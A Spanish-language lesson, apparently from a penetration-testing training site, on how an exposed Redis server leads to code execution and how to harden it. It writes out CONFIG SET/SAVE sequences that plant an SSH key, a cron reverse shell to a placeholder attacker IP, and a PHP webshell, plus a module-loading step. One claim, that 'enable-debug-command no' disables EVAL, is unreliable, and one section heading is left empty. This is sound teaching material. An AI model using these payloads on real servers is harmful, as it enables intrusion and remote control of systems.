Redis expuesto: cómo un cache mal configurado se convierte en acceso de root

Redis es una base de datos en memoria que millones de aplicaciones usan como cache, cola de mensajes y almacén temporal. Es muy rápido, muy sencillo de usar y, por defecto, no pide contraseña. Cuando un desarrollador lo instala «para pruebas» y lo deja escuchando en una IP accesible, el resultado suele ser el mismo: cualquiera que llegue al puerto 6379 puede hacer lo que quiera con él, y «lo que quiera» incluye técnicas sorprendentemente creativas para ejecutar código en el servidor.

En los laboratorios de whoami-labs, un Redis expuesto suele ser un atajo muy valioso: pasas de descubrir el puerto abierto a obtener una shell en pocos pasos. En entornos reales, Shodan muestra en cualquier momento miles de servidores Redis accesibles desde internet; muchos han sido comprometidos sin que sus dueños se enteren hasta meses después.

En esta lección vas a ver qué es Redis, por qué su configuración por defecto es peligrosa, cómo se enumera un servicio expuesto, los caminos clásicos de abuso y cómo configurarlo para que no sea el primer blanco de la red.

Interactúa solo con servidores Redis propios o en entornos autorizados, como los laboratorios de whoami-labs. Modificar o leer un Redis ajeno sin permiso es un delito.

Qué es Redis y por qué suele estar sin contraseña#

Redis guarda pares clave-valor en memoria. Se usa para acelerar aplicaciones (como cache de consultas SQL), para sesiones web, colas de tareas, contadores, ventanas de rate limiting y comunicación entre servicios. Su filosofía original era clara: diseñado para redes de confianza, dentro de un centro de datos, detrás de un firewall. Por eso durante años su configuración por defecto no exigía autenticación y escuchaba en todas las interfaces de red.

A partir de Redis 3.2 apareció el modo protegido (protected mode), que al menos impide conexiones externas si no hay contraseña configurada. Pero sigue siendo frecuente encontrar servidores de versiones viejas, servidores que desactivaron el modo protegido por error, o servidores que escuchan en una IP interna donde un atacante ya ha conseguido pie.

Cómo se enumera#

Detección#

nmap -p 6379 -sV IP_DEL_LAB
nmap -p 6379 --script "redis-info,redis-brute" IP_DEL_LAB

Si Redis responde, redis-info muestra versión, sistema operativo y cantidad de claves, sin necesitar credenciales.

Conexión y comandos básicos#

# Con el cliente oficial
redis-cli -h IP_DEL_LAB

# Comandos dentro de la consola
INFO
CONFIG GET *
CONFIG GET dir
DBSIZE
KEYS *
GET nombre_clave

Si el servidor exige contraseña, responderá (error) NOAUTH. Con AUTH miclave se intenta la autenticación.

Qué se encuentra sin esfuerzo#

Simplemente enumerando ya se obtiene mucho:

• Datos de sesión de aplicaciones web (identificadores de sesión, tokens).
• Claves de rate limiting que revelan IPs y volumen de tráfico.
• Cache de consultas SQL con información que debería estar protegida.
• Colas de trabajos pendientes que pueden incluir contraseñas o rutas internas.
• Configuraciones de aplicaciones guardadas como cache.

Con eso solo, en muchas aplicaciones ya se puede suplantar a usuarios copiando sus sesiones.

El salto de Redis a ejecución de código#

La parte interesante de Redis mal configurado no es leer datos: es que CONFIG SET permite cambiar el directorio y el nombre del archivo de persistencia. Combinado con SAVE, eso significa escribir archivos arbitrarios en el servidor. Hay tres técnicas clásicas.

Clave SSH en authorized_keys#

Si el usuario con el que corre Redis tiene una carpeta ~/.ssh/:

CONFIG SET dir /var/lib/redis/.ssh/
CONFIG SET dbfilename authorized_keys
FLUSHALL
SET mykey "\n\nssh-ed25519 AAAA... auditor@mi-equipo\n\n"
SAVE

El archivo que guarda Redis contiene los datos tal cual, con algo de ruido alrededor; SSH ignora las líneas que no son claves válidas y acepta la que sí lo es. Si Redis tiene permiso para escribir en esa ruta, ya puedes entrar por SSH como ese usuario.

Cron job en /etc/cron.d/#

Si Redis corre como root (más frecuente de lo que parece en servidores mal configurados):

CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename redis
SET entry "\n\n* * * * * root bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1'\n\n"
SAVE

Un minuto después, cron ejecutará esa línea y abrirá una reverse shell. En los laboratorios el-centinela y redishell aparecen variantes de esta técnica.

Webshell en el webroot#

Si Redis y el servidor web conviven y el usuario de Redis puede escribir en el directorio de la web:

CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['cmd']); ?>"
SAVE

Después, visitando http://IP/shell.php?cmd=id se ejecuta un comando como el usuario del servidor web.

Carga de módulos nativos (MODULE LOAD)#

Redis admite cargar módulos compilados en C para ampliar sus comandos. Si el atacante consigue subir una biblioteca .so al servidor (por ejemplo, con las técnicas de escritura de archivos anteriores) y el comando MODULE LOAD no está deshabilitado, cargarla ejecuta el código del módulo con los permisos del proceso Redis:

MODULE LOAD /tmp/exp.so

Existen módulos públicos como RedisModules-ExecuteCommand pensados justamente para demostrar la técnica. En Redis 7, por defecto, MODULE está deshabilitado para conexiones no autenticadas y se puede desactivar por completo con enable-module-command no, lo que cierra esta vía en instalaciones modernas.

Lua y comandos encadenados#

Redis también permite ejecutar scripts en Lua con EVAL. No da ejecución de código del sistema directamente (el sandbox de Lua está limitado), pero sí permite operaciones avanzadas sobre los datos: leer cualquier clave, modificar varias a la vez, exfiltrar información y, en versiones viejas, aprovechar fallos del propio sandbox. Es otra razón por la que un Redis expuesto a cualquiera es un problema aunque las técnicas de escritura de archivos estén cerradas. En Redis 7 se añadió además la posibilidad de deshabilitar EVAL con enable-debug-command no y de aislar los scripts en un contexto más restrictivo. En servidores antiguos, la combinación de EVAL sin autenticación y MODULE LOAD activo era casi una garantía de compromiso una vez descubierto el servicio en Shodan y catalogado por los bots de escaneo.

Todas estas técnicas tienen una condición común: permisos de escritura del usuario de Redis en el directorio objetivo. La defensa pasa por evitar que esto sea cierto.

Flujo típico en un laboratorio#

En un laboratorio autorizado:

1. Escanear: nmap -p- IP muestra el 6379 abierto.
2. Conectar: redis-cli -h IP entra sin contraseña.
3. Reconocer: INFO revela que corre como redis en una versión antigua, CONFIG GET dir muestra /var/lib/redis/.
4. Decidir: CONFIG GET requirepass da vacío. Pruebas el ataque de clave SSH. /var/lib/redis/.ssh/ existe y es escribible.
5. Escribir la clave y conectar: usas el método SSH y entras como redis.
6. Escalar: desde ahí buscas tareas cron, SUID, capabilities… lo que practicarás con las otras lecciones de /aprende.

Qué puede lograr un atacante#

Cómo se configura de forma segura#

Escuchar solo donde debe#

La regla más importante: Redis nunca debe estar accesible desde internet. En el archivo redis.conf:

bind 127.0.0.1 ::1
protected-mode yes

Si varios servicios necesitan acceder a Redis, mejor usar una red privada (como la de Docker) o un túnel.

Contraseña fuerte#

requirepass UnaCadenaLargaYAleatoriaGeneradaConOpenssl

Mejor aún, en Redis 6 y posteriores, ACLs para dar permisos distintos a cada usuario:

user cache on >miclave allcommands ~cache:* &*
user analytics on >otraclave +@read ~stats:*

Renombrar o desactivar comandos peligrosos#

CONFIG, FLUSHALL, FLUSHDB, DEBUG, SHUTDOWN son comandos que un atacante no debería poder usar aunque entre. Se pueden renombrar a cadenas aleatorias para que solo las aplicaciones legítimas las conozcan, o directamente desactivar:

rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command DEBUG ""

Usuario sin privilegios y carpetas restringidas#

El proceso de Redis debe correr con un usuario propio (redis), sin acceso a /root, al webroot ni a las carpetas de sudo o cron. Si consigue ejecutarse código en nombre de Redis, el impacto queda contenido.

Firewall y segmentación#

Un firewall en el servidor que bloquee el 6379 para todo lo que no sea 127.0.0.1 o la red privada interna es una capa muy barata y muy eficaz.

TLS y auditoría#

Desde Redis 6, se puede activar TLS para cifrar la comunicación entre clientes y servidor. Para servidores críticos, también se recomienda activar el registro de comandos y revisar accesos inusuales.

Errores comunes#

• Instalar Redis «solo para pruebas» y dejarlo escuchando en 0.0.0.0. Los bots tardan menos de un día en encontrarlo.
• Desactivar el modo protegido para que funcione desde otra máquina. La solución correcta es usar contraseña y firewall.
• Ejecutar Redis como root. Convierte cualquier escritura arbitraria en una toma del sistema.
• Confundir «red interna» con «segura». Un servidor comprometido en la misma red ve Redis sin problemas.
• No actualizar. Versiones antiguas tienen vulnerabilidades más allá de la configuración por defecto.

Preguntas frecuentes#

¿El modo protegido de Redis me libra de todo?#

No. Impide conexiones externas cuando no hay contraseña, pero no protege frente a un atacante que ya esté en la misma máquina o en la red interna. La contraseña y el firewall siguen siendo necesarios.

¿Por qué Redis no pide contraseña por defecto?#

Porque históricamente se pensó para redes de confianza. Es una decisión controvertida que las versiones modernas corrigen con el modo protegido, pero la configuración por defecto sigue sin exigir contraseña.

¿Puedo usar Redis en producción desde internet?#

Sí, pero con contraseña robusta, TLS activado, firewall que limite las IP origen y, preferiblemente, en una red privada con acceso solo desde las aplicaciones que lo necesitan.

¿Qué son las ACL de Redis?#

Un sistema de usuarios y permisos introducido en Redis 6 que permite definir varios usuarios con distintos permisos sobre comandos y claves. Es más flexible que requirepass, que daba acceso total a quien supiera la contraseña.

¿Dónde practico esto?#

En los laboratorios enlazados al final de esta lección, varios de ellos pasan por un Redis expuesto y el paso a ejecución de código.

Resumen#

• Redis es una base de datos en memoria muy usada; su configuración por defecto históricamente no exigía contraseña.
• Un Redis accesible revela datos de sesión, caches y configuraciones; con CONFIG SET + SAVE permite escribir archivos arbitrarios en el servidor.
• Las técnicas clásicas son clave SSH en authorized_keys, línea en cron y webshell en el webroot.
• Se configura de forma segura escuchando solo donde debe, con contraseña o ACL, comandos peligrosos desactivados, usuario sin privilegios y firewall.

Fuentes y lecturas recomendadas#

• Documentación de Redis: seguridad
• Redis: ACLs
• Redis: TLS support
• MITRE ATT&CK T1190: Exploit Public-Facing Application